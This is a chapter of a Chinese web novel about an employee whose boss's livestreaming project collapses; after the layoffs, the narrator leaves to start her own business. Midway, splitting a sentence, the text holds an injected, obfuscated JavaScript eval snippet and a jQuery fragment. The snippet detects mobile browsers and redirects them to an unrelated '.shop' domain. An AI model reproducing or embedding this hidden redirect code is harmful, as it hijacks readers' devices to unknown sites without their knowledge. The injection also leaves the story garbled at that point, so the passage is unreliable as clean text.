难道真的是要赖在我头上?怪我把合作方案弄得太好了,搞得诈骗了官媒跟我们签下合作,也搞得执行的人做不出来?
然而我想太多了,到了人家楼下,我才知道老板压根没约到单位领导。也可能是约了人家没搭理她,她这是不请自来的。因为我们到了楼下被被拦住了上不去。她临时在楼下给人领导发了消息,等了小半个钟头,人派了一位对接老师来接的我们上去。
我正担忧恐怕要面临三堂会审的情况,结果这位对接老师把我俩带到了一个四五人的小办公室里,只说领导很忙在开会没空。意思就是,这位对接老师就是接下来和我们聊的人了。对比当初我和她来提案立项的时候,对方一把手和多媒体部一字排开八九个人,重视程度不言而喻。
W总裁跟对方一再道歉,并说是直播行情不好了所以才做不起来的。对接老师十分客气,也没刁难我们,只说理解,又说会尽快寄解约合同给我们。
我俩全程可能也就坐了不到十分钟吧,出来之后,我又听她给那位领导发了道歉的消息。说实话,跟她干了几年了,我见过最多的是她神采飞扬、威风凛凛的样子,还见过她指点江山的自信,见过她雷霆万钧的暴怒,有见过她受挫低落的萎靡。但这低三下四的样子,真的是第一次见。
她刚刚小心翼翼乞求的语气不像作假,但这事情原本可以不搞到这种地步的,这是何苦呢?早知今日,何必当初。
想到这个项目我也付出了千万分的期待,一时间也是感慨良多,同病相怜我打算要不说点什么安慰她几句。
还没开口就见她把手机一放,如释重负地大松一口气,然后作出精神振奋的样子说,“哎呀,终于结束了!这直播真没意思,咱不干了!我准备立即投入新赛道,咱们争取年前就发一笔财!”
这走马灯似的一出闹剧确实终于结束了,我没想到她比我还感慨呢,“直播其实挺有意思的,只是咱们确实经验浅……”既然是安慰人嘛,谦虚几句总没有错。
她怪异地看我一眼,“你也知道是经验浅了的问题,你看看你招的这些都是什么人,事情没干出点样子来不说,竟然还敢怼我,害我赔了那么多钱开人。”
???看来还是赔得不够多不够深刻,连反思都反思不明白呢!
我打量了她一会儿,看她神色坦然,竟是真的没有一丝自省自愧,要不是深知她性缘脑毒入骨髓,我都差点要羡慕她这超绝自大和主体性了。
我没想和她辩解太多,只说,“我做的方案我知道,要是当初从头到尾我亲自带着坐下来,不会是这样的结果。”
“都结束了没必要说这些了,一点小钱而已我还赔得起。”她可能也自知理亏,没再自欺欺人扯出什么歪理来,“哎,你看看我这个新赛道,竖屏短剧怎么样?我觉得啊,我本身媒体出来的,就最会做这些了,而且我看市面上的短剧都啥啊,又土又俗,我要是进入这个赛道,就做点不一样的,肯定爆卖!”
真是令人迷惑的自信。我想了想还是决定给她说几句心里话,“如果是砸钱进去玩资本炒作,跟着赚一笔,眼光好挑几个爆剧,确实能挣钱。如果是打算自己投入进去从拍摄制作到上平台播放,我感觉很悬,没有自己的核心团队成员全都临时拉人凑合,那可能是和直播一样最后出大问题。”
她不以为意,“我有数。这个我懂。我闺蜜就是制作人,她团队做长剧的,前段时间那个很火的XXXX电视剧你知道吧,就是她团队做的剪辑。”
制作人的团队去做剪辑?我只觉得更不靠谱了。虽然我不是很了解电视剧的制作到底牵涉多少环节,但随便看一个剧,最后那长长长的名单,涉及的人员和公司多如牛毛,哪怕就是一个剪辑,可能都由几个公司来联合完成。
以W总裁这种一拍脑袋就上的脾气,惯于掏一点钱就都想当然解决所有问题的态度,我已经不看好她亲身参与的项目,当然更不会看好她现在想做的这个竖屏短剧赛道。
显然她自己也知道她对这个赛道了解的东西不多,没多少可以说的,不一会儿就把话题转到了别的事情上。
“O总和小W我不准备叫她们回来了,这么多年她们在我的保护下也过得太好了,对外面的世界一点概念都没有,让她们自己去谋生吧。”她感叹到。
这真叫人意外,“是您叫她们走的?那我听O总说她也干累了决定自己提前退休啊,小W也说是她自己想辞职,会计帮你劝都劝不住她。”
W总裁像听到什么笑话。“她们自己想走?她们根本都舍不得离开才对。我直接给她们说她们回老家去吧,不用回来了。”
我一时间不知道她们谁说得是真话。不过,显然W总裁没必要跟我说谎,而O总和小W可以和L总L总监一样是为了面子说谎和故意夸大更为合理。
不过,W总裁这意思来看,难道她终于发现家庭作坊的危害了?所以这次闹这一堆是借机清理后宅?我发现把她的角色理解为一个封建土皇帝之后,她的很多行为逻辑解释起来果然都非常符合。
要知道,O女士和W堂妹可是跟了她二十多年了又是亲人,O女士一直管着她的后勤,W堂妹是她看着长大的。虽然不知道她这叔叔到底是什么情况,但从W堂妹是跟O女士姓,可见这叔叔可能是没了。这事儿是人家隐私我没打听过,这么托孤的情形去打听太伤人了。
不得不提的是,说到这个跟谁姓,我也是佩服O女士的,毕竟连W总裁自己都这么能干了,养着一大家子人甚至是她老公,但她孩子都是跟老公姓的。
“别说他们了,就是运营和中控那些人,其实根本都不想离开我的公司!我这里资源这么好,项目这么多,留下来跟着我好处多得不得了!他们不像你,本事大有追求,离开我这里他们再也没有机会接触我这样顶级的资源了。”她又说。
我满头黑线,被她的发言雷得外焦里嫩,我真想问她,她这种小说式的霸总发言到底是哪里学来的啊?!而且真的大可不必因为我在她跟前,这样给我贴金,如果她认为他们的追求俗气肤浅,那我也不认为我的追求就显得多么高尚。不知道的还以为是我瞧不起人家呢。
她真的非常沉迷于自己打造的人设,自说自话也没准备跟我聊得有来有回,自顾自地说,“反正终于这些乱七八糟的人都走干净了,没人捣乱了,我们只管一身轻松重新上阵,这回肯定发财!”
也不知道她说的我们是谁,也不问问我们的意见一不一致呢?不过我没兴趣了也不想问了,戏已落幕,我也差不多该走了。
新的一周如期而至。公司只剩下三个人了。
一周过半,W总裁不知道干什么去了,反正不见来公司,我改好的方案发过去她也只说好就没了,我问了会计她的动向,会计也说不知道。
这天,会计突然私聊我说,要给我发个假的解约通知,让我不要当真。
我还没回复她呢,几乎立即她就在只有四个人的大群里发了一条直播项目解散的通知,并艾特我和挺着肚子的诗诗,让我们去办她办公室签解约手续。
诗诗午休还没起来,也不知道有没有看见消息,我就先去了财务室。什么都没说也没问,既然她说是假,那我就做足了是假的样子,七七擦擦一顿签就完事了。
签完出来,却见诗诗在前台等我。
“M姐,你……签完了?”她看见了我手上的回执单子。
我点点头,示意她过去,“你快进去吧,正好她让我出来后叫你进去呢。和她好好谈。”
她还想问什么的样子,又没问出口,往财务室走了几步还是回来问我的赔偿是多少,我说和L总W堂妹他们一样,没有。因为我本身之前就提辞职了的,赔不赔偿对我来说不是重点问题。这些她知道。
我没打算隐瞒她什么,“我工资是算到了月底,因为今年的年假我还没休。会计说是额外给我算的,呵呵,其实加上年假这几天差不多就是到月底。”
诗诗皱着脸眉头紧锁进了财务室。我开始收拾东西。演戏嘛,陪她们演足了,我是假戏真做,马上辞退马上就走的,不用等到下班去。
最后我俩一起走的。
“她们怎么给你算赔偿的?”我问诗诗。
她没看我,只说,“就那么算的呗。和别人一样3倍。”
我有些诧异,不是她们给她算多少赔偿金,而是她竟然能接受3倍。要知道,那么多人被开的时候她可是大大方方放过话,敢开她没有三期没有二三十万是不可能的!那气势可半点不像会吃亏会妥协的,也一度是W堂妹和会计她们最害怕最头痛的。
不过她这么说了,我也无意追问真假。除了那些十恶不赦的人,当然我觉得能被我这样定义的倒也还没遇到过,我向来喜欢真诚相待,她是真的接受也好,还是怕我知道她拿了很多赔偿也罢,她说什么我都姑且当真。
这些人是我招聘来的,现在也都是拿了赔偿走的,这个项目虽然没做成,但这样的结果也不算我坑了他们。
自我被卸任后,大直播项目一直执行不起来,他们背着我聚在一起的时候,可没稍抱怨说我坑了他们,甚至是当面也说过。说我面试时说得多好多好,结果来了就成这样的烂摊子。
最初我不知道黄谣的事情,确实面对他们的指责也很愧疚,怪自己没能排除万难在撤职前带他们落地一次项目。后来我知道撤职是因为被造黄谣,也早已经释怀,更不奇怪他们可能在造黄谣中有推波助澜的情况,人为财死的道理我懂。
别人自有别人的逻辑,我不想改变任何人,别人也别想改变我,大家能短暂地为了某个共同目标聚在一起,曾为之振奋和努力过就行。
回顾为这个直播项目没日没夜的三个多月,和被撤职后的项目直接走向群魔乱舞光怪陆离,真是令人唏嘘。眼看她起高楼,眼看她宴宾客,眼看她楼塌了。这个她也不知道该说是W总裁还是我自己,可能都是吧。
也是这会儿,我明白了为什么从官媒那边道歉回来,W总裁为什么在车上和我抱怨说怪我招的人不行。她是在埋怨,埋怨我没有在大厦将倾时扶一把,埋怨我被撤职后一直袖手旁观。虽然她知道是她的问题,但她拉不下脸,所以也是埋怨我没给她面子。
我承认,我是故意的。但凡我被卸任了之后还积极主动去掺和直播项目,对发现的问题及时贡献解决策略,可能这个项目也不会这么快破产。
包括那个我们道歉的官媒,当初W堂妹一行去听训
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163824|196607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回来,会计和我说的时候,我脑子里都会不自觉地想怎么解决怎么改进,如果我说出来,或者我再积极地准备一个解决方案,交给W堂妹和运营总监发给官媒去沟通,可能还是能挽救和继续合作的。
还有那个惹恼我当场甩脸子辞职的某工会项目,虽然W总裁她自己说不清楚人家的需求,但以往我们谈下来合作的官媒,她也没有给我说清楚过,无非就是说想去谈某个官媒让我准备一个方案,我就自己开动脑筋去规划去设计方案,全国X工会的合作并不是多么特殊,我也可以照样设计出来一个完美的合作方案。
可是,凭什么呢?
凭我不眠不休废寝忘食地燃烧我自己对项目的热情吗?凭我并没有拿到多少工资还一头扎进去超额奉献吗?凭我一腔孤勇以为只要有炙热真诚的心就能做实事就能助农带货吗?还是凭我纯粹得只求本我,不在乎别人看法不把一切造谣我的人放在眼里?
怎么可能,我没有那么高尚也没有那么纯粹,朴素的善恶有报才是我的准则。
知道黄谣真相后,我审视透了每个人的小九九,自此冷眼旁观事情朝不可挽回的地步发展而不阻止。
我戏看他们那么多双腿挤进一条裤子又为了争抢私利撕破裤衩的丑态。我把他们毫不留情地翻脸然后互相背刺插刀的残忍当戏剧欣赏。我眼睁睁看着他们在被辞退的痛苦中无地自容心生后悔而吝啬给与一丝怜悯。
我对项目的乱象和暗藏的危机不加提点。我对管理的疏漏和激化的矛盾有意放纵。我对每个人摸鱼糊弄的工作和党派倾轧了如指掌却视若无睹。我对所有人不满的声音和倾泻的恶评不加引导且充作笑料。我对老板被当场撕下脸皮谩骂而颜面扫地心生快意。
我甚至在可以走人时特地留下,全程围观这一切它发生、它演绎、它落幕。无须我亲自出手,他们便能自食恶果。其实,我不出手就已是出手了,盖因我出手,不定能达到这样糟的结果,抑或结果更糟却要付出一些反噬自身的代价。
相较而言,眼下我还是如此的纯粹。我的准则或许不是善恶有报,而是睚眦必报。足见我和这些人一样在他人看来也是可笑的。不过那又怎样,我接受全部的我,包括内心不可触摸的黑暗面。
彻底放松身心地过完了一整个周末,这个周一终于不用再上班了,我直接睡到日上三竿。
饿醒起来弄吃的,煮着面的时候电话响了,是W总裁打来的。
“在干什么呢?怎么没来上班?”一接电话,她炸雷似的声音就在那边响起。
“休息啊。”我说。
“休息什么啊休息,快点归队!新项目立即开干,就等你了!”她兴奋又激动。
我微笑回答,“你也说过嘛,终于结束了。就这样吧,我们该回到各自的轨道去,继续各自的人生创造各自的精彩,祝您在新赛道早日发财!”
刷着一条裁员裁到大动脉的笑话合集视频来下饭,我翻到一条评论:裁员裁到大动脉?说得自己都信了,资本家哪怕这一个公司倒了也能立即开下一个,你被裁了能无缝高薪下一个吗?少把冷脸洗内裤那一套带到刀光剑影的职场来,搞什么娇牛马文学呢!
我立即点了个大大的赞。这出大戏因为W总裁的各种骚气霸总发言,让我看似很娇牛马我知道,但我更清醒地明白,如果一直打工,那我终有一天可能也会被这样的假象迷惑。我需要自己的事业。
その船を漕いでゆけ
努力划好你的船吧
おまえの手で漕いでゆけ
凭借你的双手往前划吧
おまえが消えて喜ぶ者に
别把你的船桨交给
おまえのオールをまかせるな
那些会因你覆灭而雀跃的人
习惯了某信电话和联系,我的手机铃声响起时我还没反应过来,这是手机电话打进来了。可是现在是月初,我才收到欠费通知还没缴费呢,电话怎么打进来的?
“喂,哪位?”
“是M总吗?我是XX县的商家,是农业局这边给了我您的联系方式。”一个很不熟悉的带着浓重地方口音的男声。
“您好。”之前是和这个县农业局联系过要做地方专场的事情。
对方很开心,声音中带着十分的敬重和讨好,“M总,接近年关了,我们想问下您那边官媒还能做直播吗?我们县企业协会的商家们,想联合您那边官媒一起推荐下我们的特产年货。”
我愣了愣,随即笑了,“当然可以啊。您那边商家和产品都统计下,我这边准备报批预审。”
“欸,好好好!我们已经准备好了,我跟您加下好友,给您发文件。”
挂电话后,手机里进了几条短信,显示我手机已经充值到账成功开机。应该就是这位商家着急联系我,给我充了话费。
我随即拨打了先前谈过合作的官媒,准备联系几个账号,承揽下这场直播。
打工是不可能打工的,打工也不可能打一辈子的。现在,既然W总裁接不住这个项目,那我就自己做下去吧。
我需要自己的事业。事业不会凭空而来。
此后不做娇牛马,而要警醒自己别成为那样骚气的霸总和资本家。